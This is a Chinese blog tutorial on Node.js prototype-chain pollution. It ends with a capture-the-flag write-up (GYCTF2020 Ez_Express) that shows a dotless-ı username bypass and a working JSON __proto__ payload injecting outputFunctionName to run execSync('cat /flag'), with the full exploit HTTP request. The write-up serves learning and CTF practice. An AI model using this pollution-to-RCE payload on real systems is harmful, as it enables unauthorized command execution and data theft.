当前位置: 首页 > news >正文

Nodejs原型链污染

Nodejs与JavaScript和JSON

有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别,如果没有node,那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能(最出名的就是google的v8), 这也是为什么我们能在f12中直接执行JavaScript的原因。 而Nodejs则是由这个解析器单独从浏览器中拿出来,并进行了一系列的处理,最后成为了一个可以在服务端运行JavaScript的环境。 这里看到一个很好的例子,学过java的师傅应该就明白了。

image-20230209153259695

那么JSON又是什么呢?简单概括一下就是JavaScript的对象表示方法,它表示的是声明对象的一种格式, 由于我们从前端接收到的数据基本都是字符串,因此在服务端如果要将这些字符串处理为其他格式,比如对象,就需要用到JSON了。

image-20230209153332651

原型对象(prototype)与原型连接点(__proto__)与原型链

image-20230209153339234

在c++或java这些面向对象的语言中,我们如果想要一个对象,首先需要使用关键字class声明一个类,再使用关键字new一个对象出来,但是在JavaScript中没有class以及类这种概念(为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖)。 在JavaScript有这么两种声明对象的方式,为了好理解我们先引入类的思想。

person=new Object()
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";这种创建对象的方法还有另一种写法 如下
person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};这种方法通过直接实例化构造方法Object()来创建对象
function person(firstname,lastname,age,eyecolor)  这里创建了一个“类” 但是在JavaScript中叫做构造函数或者构造器
{this.firstname=firstname;this.lastname=lastname;this.age=age;this.eyecolor=eyecolor;
}
var myFather=new person("John","Doe",50,"blue");    通过这个“类”实例化对象
var myMother=new person("Sally","Rally",48,"green");这种方法先创建构造函数 再实例化构造函数 构造函数function也属于Object 如果对这里为什么属于Object而不属于Function有疑问请继续阅读 下面会解释

既然是通过实例化Object来创建对象或创建构造函数,在JavaScript中有两个很特殊的对象,Function() 和 Object() ,它们两个既是构造函数也是对象,作为对象是不是应该有一个“类”去作为他们的模板呢?

【----帮助网安学习,以下所有学习资料免费领!加@v~:yj009991,备注“ csdn ”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

对于Object()来说,要声明这么一个构造函数我们可以使用关键字function来创建 。(在底层 使用function创建一个函数 其实就相当于这个过程)

function Object()
{}
在底层为
var Object = new Function();

那么对于Function自己这个对象,他是怎么来的呢?如果用Function.__proto__和Function.prototype进行比较,发现二者是全等的,所以Function创造了自己,也创造了Object,所以JavaScript中,所有函数都是对象,而对象是通过函数创建的。因此构造函数.prototype.__proto__应该是Object.prototype,而不是Function.prototype,Function的作用是创建而不是继承。

image-20230209153347889

image-20230209153353005

那么提到了__proto__prototype我们就来说说这两个是什么东西。

首先我们要了解以下概念:

__proto__是任何一个对象拥有的属性

prototype是任何一个函数拥有的一个属性

比如

person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

那么这个person对象就拥有了person.__proto__这个属性,而Object()我们刚才提到了是由Function创建来的一个构造函数,那么Object就天生有了Object.prototype。

1.某一对象的 __proto__指向它的prototype(原型对象), 也就是说如果直接访问person.__proto__ 那么就相当于访问了Object.prototype。

2.JavaScript使用prototype链实现继承机制。

3.构造函数xxx.prototype是一个对象,xxx.prototype也有自己的__proto__属性,并且可以继续指向它的的prototype。

4.Object.prototype.proto最终指向null,这也是所有原型链的终点。

5.从一个对象的__proto__不断向上指向原型对象,最终指向Objecct.prototype后,接着指向为Null,这一条链子就叫做原型链。

如果我们有如下代码:

function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

那么按照上述说法 就有如下结构

image-20230209153400235

对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name。
  2. 如果找不到,则在son.__proto__中寻找last_name。
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name。
  4. 依次寻找,直到找到null结束。

原型链污染

举个栗子

// 这个对象直接实例化Object()
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型(即Object)
foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar
console.log(zoo.bar)

image-20230209153407020

这里由于修改了foo.__proto__.bar 也就是修改了Object.bar,因此在后续的实例化对象中,新的对象会继承这一属性 造成了原型链污染。

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可。

看下面代码,一个简单的对象clone:

function merge(target, source) {for (let key in source) {if (key in source && key in target) {  // 如果target与source有相同的键名 则让target的键值为source的键值merge(target[key], source[key])} else {target[key] = source[key]  // 如果target与source没有相通的键名 则直接在target新建键名并赋给键值}}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

image-20230209153412321

这里执行后发现,虽然两个对象成功clone,但是Object()并没用被污染,这是因为在创建o2时, __proto__是已经存在于o2中的属性了,解析器并不能将这个属性解析为键值,所以要用JSON去修改代码(前面我们说了 JSON是JavaScript的对象表示方法 可以将字符串转换为对象), 这样就可以使__proto__被成功解析成键名了。

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)o3 = {}
console.log(o3.b)

image-20230209153417237

漏洞复现

[GYCTF2020]Ez_Express

进入环境之后是一个登录页面,测试之后发现存在www.zip源码泄露,开始审计index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
const clone = (a) => {return merge({}, a);
}
function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}router.get('/', function (req, res) {if(!req.session.user){res.redirect('/login');}res.outputFunctionName=undefined;res.render('index',data={'user':req.session.user.user});
});router.get('/login', function (req, res) {res.render('login');
});router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/'); ;
});
router.post('/action', function (req, res) {if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

看下面两段代码

function safeKeyword(keyword) {if(keyword.match(/(admin)/is)) {return keyword}return undefined
}
router.post('/login', function (req, res) {if(req.body.Submit=="register"){if(safeKeyword(req.body.userid)){res.end("<script>alert('forbid word');history.go(-1);</script>") }req.session.user={'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}res.redirect('/'); }else if(req.body.Submit=="login"){if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){req.session.user.isLogin=true;}else{res.end("<script>alert('error passwd');history.go(-1);</script>")}}res.redirect('/'); ;
});

只有用admin登录才会return,keyword 否则返回undefined,返回undefined就会弹窗forbid word,如果username经过toUpperCase后不能与原来的匹配,或password错误,就会弹窗error passwd,这也是为什么题中说用户名只支持大写。

再看这段,就很恶心,如果username为ADMIN就不能登录,又不让用admin,又得用admin登录,这里就用到了JavaScript大小写的漏洞。

if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 

所以用ADMıN来绕过,注意不是ADMiN,中间那个i是一个奇怪的字符,把username输入ADMıN直接注册就可以了(题目环境怪怪的 有的时候ADMıN 不行就试试admın),登录进去还给了flag的位置。

image-20230209153447746

image-20230209153452310

这里试了试没啥用,继续看源码,上面提到了 merge clone操作可以控制键值和键名,从而达到污染。

const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}const merge = (a, b) => {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}

往下看找到调用clone的位置

router.post('/action', function (req, res) {if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");  
});

也就是说我们可以在action路由下通过请求体来进行污染,原型链污染的位置找到了,接下来就是要找到可以用来控制键名和键值的对象。

看到这段:

router.get('/info', function (req, res) {res.render('index',data={'user':res.outputFunctionName});
})

render函数应该不陌生,在模板注入攻击(SSTI)中很常见, 这里将回显req的outputFunctionNmae渲染到了index中,那么我们是不是可以利用outputFunctionName进行SSTI从而达到rce呢?代码跟下来我们发现并没有outputFunctionName这个东西,也就是说它是我们可以用来污染原型链的载体,如果把Object的prototype中加上键名为outputFunctionName,键值为恶意payload的属性,那么在进行模板渲染时,是不是就会执行我们的恶意payload?

但是我们考虑一个问题,如何去修改Object的prototype ?(确实是可以的 但是有点麻烦 下面参考文章的最后一篇就是直接修改Object的prototypr)我们重新回到这段代码:

router.post('/action', function (req, res) {if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} req.session.user.data = clone(req.body);res.end("<script>alert('success');history.go(-1);</script>");  
});

发现请求体被clone到了req.session.user.data中,对于req.session.user这个对象来说,它的__proto__属性是不是就是Object的prototype,所以我们可以修改了这个对象的__proto__从而达到目的。

req.session.user={'user':req.body.userid.toUpperCase(),'passwd': req.body.pwd,'isLogin':false}

SSTI的payload我也不是很懂,反正原理都是不断调用原型对象,最后找到一个可以用来rce的函数,payload和CVE-2019-10744是一样的,直接搬来用了。

{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

污染成功后在info路由下调用res.outputFunctionName时,就像上面调用son.last_name的过程一样,最终调用到了Object的outputFunctionName ,并且要让__proto__为键名,要用JSON格式,所以要用burp拦包添加content type(在进行POST传参时必须有该头) 放个包做个参考,记得路由和传参方式也要改 再传payload。

POST /action HTTP/1.1
Host: 8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://8f9161b2-5acd-465d-8854-969004e758fb.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=s%3A1jilnCKBesMA5qC1gPlt6SPb18ntn7h7.4wyQ3TbDJtVXUhdOdErxMFKs6EcCnNrCkeUjRFYK3MY
Content-Type: application/json
Connection: close
Content-Length: 137{"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');//"}}

在action路由下污染成功后,应该接着访问info路由进行SSTI,但是不知道为啥,我包发过去直接给flag了。

image-20230209153459579

相关文章:

Nodejs原型链污染

Nodejs与JavaScript和JSON 有一些人在学习JavaScript时会分不清Nodejs和JavaScript之间的区别&#xff0c;如果没有node&#xff0c;那么我们的JavaScript代码则由浏览器中的JavaScript解析器进行解析。几乎所有的浏览器都配备了JavaScript的解析功能&#xff08;最出名的就是…...

【Vue3】element-plus中el-tree的递归处理赋值回显问题

目录一&#xff1a;先获取所有权限tree二&#xff1a;在获取所有该角色能有的权限tree三&#xff1a;递归处理勾选tree节点由于项目是从0-1开始构建的 rbac都需要重新构建对接 所以涉及到了权限管理和菜单管理 一级菜单包含多个二级菜单 若二级不全选&#xff0c;则一级显示 半…...

C语言---宏

专栏&#xff1a;C语言 个人主页&#xff1a;HaiFan. 专栏简介&#xff1a;本专栏主要更新一些C语言的基础知识&#xff0c;也会实现一些小游戏和通讯录&#xff0c;学时管理系统之类的&#xff0c;有兴趣的朋友可以关注一下。 #define预处理预定义符号define#define定义标识符…...

算法导论—路径算法总结

图算法 单源最短路径 Bellman-Ford算法&#xff1a; 顶点为V&#xff0c;边为E的图 对每条边松弛|V|-1次边权可以为负值若存在一个可以从源结点到达的权值为负值的环路&#xff0c;算法返回False时间复杂度&#xff1a;O(VE) 有向无环图单源最短路径 DAG-SHORTEST-PATHS …...

程序环境--翻译+执行

ANSI C标准下&#xff0c;有两种程序环境。 第1种是翻译环境&#xff0c;在这个环境中源代码被转换为可执行的机器指令。 翻译环境包括&#xff1a;预处理&#xff08;预编译&#xff09;编译汇编链接。四个步骤。 第2种是执行/运行环境&#xff0c;它用于实际执行代码。 链接…...

微信小程序内部那些事

微信小程序没有window、document&#xff0c;它更像是一个类似 Node.js 的宿主环境。因此在小程序内部不能使用 document.querySelector 这样的选择器&#xff0c;也不支持 XMLHttpRequest、location、localStorage 等浏览器 API&#xff0c;只能使用小程序自己提供的 API&…...

这是从零在独自开开发,将是副业赚钱最好的平台!

文章目录最重要的事情放前面1.前言2.简单介绍一下3.【独自开】介绍3.1 分层标准化平台架构3.2 集成第三方数字接口3.3 支持各个行业的系统定制开发4.如何在【独自开】赚钱获取收益?4.1 如何称为【独自开】开发者?最重要的事情放前面 通过平台的审核也可以得到相应的奖金&…...

Spring MVC 之获取参数(对象、JSON格式数据、URL地址参数、文件、Cookie)

文章目录1. 获取单个参数2. 获取多个参数3. 获取对象4. 后端参数重命名 RequestParam5. 接收 JSON 格式的数据 RequestBody6. 从 URL 地址中获取参数 PathVariable7. 上传文件 RequestPart8. 获取Cookie (CookieValue)/Session/header8.1 获取 Request 和 Response 对象8.2 获取…...

永磁同步电机中BEMF电阻的作用

一、电路原理图 二、原理分析 如图一我们测的是相电压&#xff0c;从理论上我们知道我们测得相电压是一个马鞍波形&#xff0c;马鞍波形中并没有隐含 转子的位置和速度信息。那么为什么我们还要有这样一个电路呢&#xff1f; 这个问题其实困惑了我好久&#xff1f;直到有一天…...

JAVA练习45-二叉树的层序遍历

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 提示&#xff1a;以下是本篇文章正文内容&#xff0c;下面案例可供参考 一、题目二叉树的层序遍历 …...

超高精度PID调节器的特殊功能(3)——变送输出(转发)功能及其应用

摘要&#xff1a;变送输出是高级PID控制器的一项重要扩展功能&#xff0c;可用于多区控制、串级控制、比值控制和差值控制以及数据采集及记录。为展示变送输出功能的强大作用&#xff0c;本文主要针对超高精度VPC 2021系列PID控制器&#xff0c;介绍了变送输出的具体功能、参数…...

【C++】nullptr C++中的空指针(C++11)

前言 在平时我们写C/C代码时你可能会看到有人使用NULL表示空指针&#xff0c;也有人用nullptr表示空指针&#xff0c;那么你可能会很好奇它们都是空指针吗&#xff1f;为什么空指针有两种写法&#xff1f;下面就带你了解这背后的原理。 我们都知道NULL是C语言中的空指针&#x…...

笔试题-2023-大疆-数字IC设计【纯净题目版】

回到首页:2023 数字IC设计秋招复盘——数十家公司笔试题、面试实录 推荐内容:数字IC设计学习比较实用的资料推荐 题目背景 笔试时间:2022.08.07应聘岗位:数字IC设计笔试平台:赛码题目评价 难易程度:★★★★★知识覆盖:★★★☆☆超纲范围:★★★☆☆值得一刷:★★★…...

Python dict字典方法完全攻略(全)

我们知道&#xff0c;Python 字典的数据类型为 dict&#xff0c;我们可使用 dir(dict) 来查看该类型包含哪些方法&#xff0c;例如&#xff1a; >>> dir(dict) [clear, copy, fromkeys, get, items, keys, pop, popitem, setdefault, update, values] keys()、value…...

用“AI“挑选一件智慧礼物

在久违的烟火气回归之际&#xff0c;充满希望的生活可能就从精心挑选一件新年礼物开始。在罗列礼品清单时&#xff0c;你会想到 “数据”也是其中之一吗&#xff1f;事实上&#xff0c;几乎所有时下最受欢迎的带有“智能”一词的设备&#xff0c;都是由大量高质量的数据创建。我…...

【Spark分布式内存计算框架——Spark Core】4. RDD函数(下) 重分区函数、聚合函数

重分区函数 如何对RDD中分区数目进行调整&#xff08;增加分区或减少分区&#xff09;&#xff0c;在RDD函数中主要有如下三个函数。 1&#xff09;、增加分区函数 函数名称&#xff1a;repartition&#xff0c;此函数使用的谨慎&#xff0c;会产生Shuffle。 2&#xff09;、…...

智能工厂自动化设备如何将数据采集到物联网云平台上

制造业工厂在进行生产管理、数字化转型升级的过程中&#xff0c;大量自动化设备的数据采集上云一直是困扰厂商的难题之一。因设备种类多、工艺复杂、设备老旧无多余通信接口导致数据无法集中、工艺无法实时管控&#xff0c;加上设备服务商的本地支持比较有限&#xff0c;因此设…...

SpringBoot整合Mybatis的核心原理

0. 前言&#xff1a;1. 自动配置类MybatisAutoConfiguration&#xff1a;1.1. SqlSessionFactory的生成&#xff1a;1.2. Mapper的扫描和代理生成&#xff1a;1.2.1. MapperScannerConfigurer1.2.2. MapperFactoryBean1.2.3. getMapper生成代理对象2. 小结&#xff1a;0. 前言&…...

滴滴一面:order by 调优10倍,思路是啥?

背景说明&#xff1a; Mysql调优&#xff0c;是大家日常常见的调优工作。 所以&#xff0c;Mysql调优是一个非常、非常核心的面试知识点。 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;其相关面试题是一个非常、非常高频的交流话题。 近段时间&#xff0c;有小伙伴面…...

Vue框架学习篇(五)

Vue框架学习篇(五) 1 组件 1.1 组件的基本使用 1.1.1 基本流程 a 引入外部vue组件必须要的js文件 <script src"../js/httpVueLoader.js"></script>b 创建.vue文件 <template><!--公共模板内容--></template><script><!…...

(蓝桥杯 刷题全集)【备战(蓝桥杯)算法竞赛-第1天(基础算法-上 专题)】( 从头开始重新做题,记录备战竞赛路上的每一道题 )距离蓝桥杯还有75天

&#x1f3c6;&#x1f3c6;&#x1f3c6;&#x1f3c6;&#x1f3c6;&#x1f3c6;&#x1f3c6; 欢迎观看我的博客&#xff0c;如有问题交流&#xff0c;欢迎评论区留言&#xff0c;一定尽快回复&#xff01;&#xff08;大家可以去看我的专栏&#xff0c;是所有文章的目录&a…...

C++——继承那些事儿你真的知道吗?

目录1.继承的概念及定义1.1继承的概念1.2 继承定义1.2.1定义格式1.2.2继承关系和访问限定符1.2.3继承基类成员访问方式的变化2.父类和子类对象赋值转换3.继承中的作用域4.派生类的默认成员函数5.继承与友元6. 继承与静态成员7.复杂的菱形继承及菱形虚拟继承如何解决数据冗余和二…...

leetcode 困难 —— N 皇后(简单递归)

&#xff08;不知道为啥总是给这种简单的递归设为困难题&#xff0c;虽然优化部分很不错&#xff0c;但是题目太好过了&#xff09; 题目&#xff1a; 按照国际象棋的规则&#xff0c;皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。 n 皇后问题 研究的是如何将 n 个…...

AWS实战:Dynamodb到Redshift数据同步

AWS Dynamodb简介 Amazon DynamoDB 是一种完全托管式、无服务器的 NoSQL 键值数据库&#xff0c;旨在运行任何规模的高性能应用程序。DynamoDB能在任何规模下实现不到10毫秒级的一致响应&#xff0c;并且它的存储空间无限&#xff0c;可在任何规模提供可靠的性能。DynamoDB 提…...

机器学习评估指标的十个常见面试问题

评估指标是用于评估机器学习模型性能的定量指标。它们提供了一种系统和客观的方法来比较不同的模型并衡量它们在解决特定问题方面的成功程度。通过比较不同模型的结果并评估其性能可以对使用哪些模型、如何改进现有模型以及如何优化给定任务的性能做出正确的决定&#xff0c;所…...

常见的安全问题汇总 学习记录

声明 本文是学习2017中国网站安全形势分析报告. 而整理的学习笔记,分享出来希望更多人受益,如果存在侵权请及时联系我们 2017年重大网站安全漏洞 CVE-2017-3248 &#xff1a;WebLogic 远程代码执行 2017年1月27日&#xff0c;WebLogic官方发布了一个编号为CVE-2017-3248 的…...

元宵晚会节目预告没有岳云鹏,是不敢透露还是另有隐情

在刚刚结束的元宵节晚会上&#xff0c;德云社的岳云鹏&#xff0c;再一次参加并引起轰动&#xff0c;并获得了观众朋友们的一致好评。 不过有细心的网友发现&#xff0c;早前央视元宵晚会节目预告&#xff0c;并没有看到小岳岳&#xff0c;难道是不敢提前透露&#xff0c;怕公布…...

计算机视觉 吴恩达 week 10 卷积

文章目录一、边缘检测二、填充 padding1、valid convolution2、same convolution三、卷积步长 strided convolution四、三维卷积五、池化层 pooling六、 为什么要使用卷积神经网络一、边缘检测 可以通过卷积操作来进行 原图像 n✖n 卷积核 f✖f 则输出的图像为 n-f1 二、填充…...

JavaScript 函数定义

JavaScript 函数定义 函数是 JavaScript 中的基本组件之一。一个函数是 JavaScript 过程 — 一组执行任务或计算值的语句。要使用一个函数&#xff0c;你必须将其定义在你希望调用它的作用域内。 一个 JavaScript 函数用function关键字定义&#xff0c;后面跟着函数名和圆括号…...

设计模式:建造者模式教你创建复杂对象

一、问题场景 当我们需要创建资源池配置对象的时候&#xff0c;资源池配置类里面有以下成员变量: 如果我们使用new关键字调用构造函数&#xff0c;构造函数参数列表就会太长。 如果我们使用set方法设置字段值&#xff0c;那minIdle<maxIdle<maxTotal的约束逻辑就没地方…...